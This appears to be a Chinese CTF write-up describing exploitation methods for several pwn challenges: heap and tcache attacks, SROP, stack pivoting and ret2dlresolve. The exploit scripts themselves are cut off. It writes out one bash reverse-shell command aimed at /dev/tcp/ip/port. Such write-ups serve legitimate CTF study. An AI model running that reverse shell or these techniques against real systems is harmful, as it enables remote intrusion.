1,3题很简单。5题当时已经想到要打printf的返回地址,但是当时调试崩掉了就没出。2题和4题没看,都是server还蛮有意思。
mmutag
在栈上构造fake_chunk,然后用rop
1 | from pwn import * |
http_server
模拟了post传参。思路就是tcache打IO_FILE然后leak libc,最后打free_hook写setcontext+53出发SROP,然后调用rop链进行orw
复现的时候碰到了点小问题,就是把stdout的writebase覆盖掉在回显的时候会崩。
1 | from pwn import* |
pwn3
一道mips unlink,非常简单。虽然貌似官方给的wp不是这个解法
1 | from pwn import * |
upload_server
- recvmsg函数的msg.msg_iov->iov_len 也就是接收数据最大值为0x410,并且将接收到的数据存放在全局变量段(msg.msg_iov->iov_base=0x603160)。第一段check先通过正则判断数据是否为base64密文格式,然后将其base64解密后存放在s变量栈上,解密后数据的最大长度为0x410*(3/4)=0x30c字节,存在栈溢出。然后判断解密后的数据长度是否为大于64,最后将数据的0-31位与33-64位分别base64加密后将相应内容写入key文件夹中。
- 由于整段功能代码放在子进程里面实现,所以子进程崩溃后父进程回收即可,不影响父进程运行。server虽然存在栈溢出,但利用起来也十分有限,无法泄露地址。栈溢出长度也有限制,必须进行栈迁移,先通过ROP去调用内置decode函数解密存在在bss段的rop数据,再栈迁去执行bss段的rop_chain.利用dlruntime_resolve一把梭,提前在bss段相应地址构造fake_linkmap数据,由于程序中不存在写相关函数,可使用memset设置link_map的值,最后通过dl调用到system函数执行”bash -c "bash -i >& /dev/tcp/ip/port 0>&1"\x00” 反弹shell。
1 | from pwn import * |
在复现的时候主要感觉他这个fake_link的构造很玄学,然后在网上找了个板子
1 | # encoding=utf-8 |
pwn5
单步执行到printf_positional函数ret返回的地方,观察此时的返回的lbc地址和一个onegadget很接近,大概率只需爆破一位就行,且此时的onegadget刚好满足触发条件
好思路
1 |
|